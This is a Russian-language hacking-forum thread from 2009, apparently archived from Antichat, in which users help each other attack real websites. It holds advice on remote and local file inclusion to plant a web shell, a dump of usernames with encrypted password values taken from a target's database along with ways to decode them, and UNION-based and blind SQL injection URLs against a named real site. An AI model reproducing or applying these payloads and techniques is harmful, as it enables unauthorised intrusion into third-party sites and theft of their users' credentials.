ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
27.05.2009, 10:09
|
|
Участник форума
Регистрация: 02.09.2007
Сообщений: 292
Провел на форуме:
3659973
Репутация:
466
|
|
2 Byrger
если в $t диру а в $f имя файла то можно будет проинклюдить существующий файл.
|
|
|
27.05.2009, 11:05
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме:
791766
Репутация:
61
|
|
Сообщение от Iceangel_
2 Byrger
[RFI]
заливаешь на фтп шел с именем index.php
или шелл с любым именем, но без расширения
[LFI]
2 Shaitan-Devil
можешь посмотреть сайты по реверс айпи на присутствие локального инклуда, и потом инклуднуть записанный в /tmp шелл
Ошибку 404 типо выводит. Проверка существования файла срабатывает.
Оба способа пробовал
|
|
|
|
27.05.2009, 11:28
|
|
Moderator - Level 7
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме:
3818187
Репутация:
369
|
|
[0]:webmaster:њyЯu›И§
[1]:administrator:џЊ6г–А¶Ґ2И
[2]:morogoy:¶pР
[3]:dorogoynn:Эxi›лPcх
[4]:anna: NЂ—оB7е
[5]:dorogoy:У ќ=цКі¶э ѓ
вывожу из 5й ветки базы он мне вот такое дело выдает в чем беда? как исправить?
Последний раз редактировалось satana8920; 27.05.2009 в 11:31..
|
|
|
|
27.05.2009, 11:38
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме:
2805813
Репутация:
1396
|
|
Сообщение от satana8920
вывожу из 5й ветки базы он мне вот такое дело выдает в чем беда? как исправить?
попробуй
AES_DECRYPT(AES_ENCRYPT(
хотя, судя по всему ты юзал СИПТ, и там по умолчанию крипт.
еще варианты:
PHP код:
cast(Version()+as+binary)
CONVERT(Version(),binary)
convert(version()+using+latin1)
convert(version()+using+binary)
|
|
|
|
27.05.2009, 11:40
|
|
Moderator - Level 7
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме:
3818187
Репутация:
369
|
|
да я и unhex(hex())
не помогает а юзал я да сипт
я уж и руками пробовал
$n@ke
перепробовал все ничего не помогло все так же осталось
еще у кого нито варианты будут?
Последний раз редактировалось satana8920; 27.05.2009 в 11:47..
|
|
|
|
27.05.2009, 11:53
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Сообщение от satana8920
еще у кого нито варианты будут?
Будут
Это скорее всего AES_ENCRYPT НО что-бы расшифровать нужен ключ.
Тоесь пароли попросту зашифрованы
Сообщение от satana8920
как исправить?
Узнать ключ и расшифровать. А лучше алгоритм, тк. может быть и самопис, визуально не поймёшь
|
|
|
|
27.05.2009, 12:18
|
|
Moderator - Level 7
Регистрация: 22.09.2006
Сообщений: 531
Провел на форуме:
3818187
Репутация:
369
|
|
jokester
и как вообще этот ключ может выглядеть?
допустим я узнал ключ как это расшифровывать?!
|
|
|
|
27.05.2009, 12:29
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
http://www.mysql.ru/docs/man/Miscellaneous_functions.html
AES_ENCRYPT
AES_DECRYPT
Посмотри, думаю всё станет понятно
|
|
|
|
27.05.2009, 20:07
|
|
Познающий
Регистрация: 19.04.2008
Сообщений: 67
Провел на форуме:
596695
Репутация:
19
|
|
Помогите...
http://www.aftech.ru/about/news/?nid=999999+UNION+SELECT+1,222,3,4,5,6,7,8,9--
Unknown column 'news_datetime' in 'order clause'
Как это обойти?
|
|
|
|
27.05.2009, 20:38
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865
Репутация:
571
|
|
Код:
http://www.aftech.ru/about/news/?nid=10+and+ascii(substring((select+table_name+from+information_schema.tables+limit+17,1),1,1))%3E1--
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
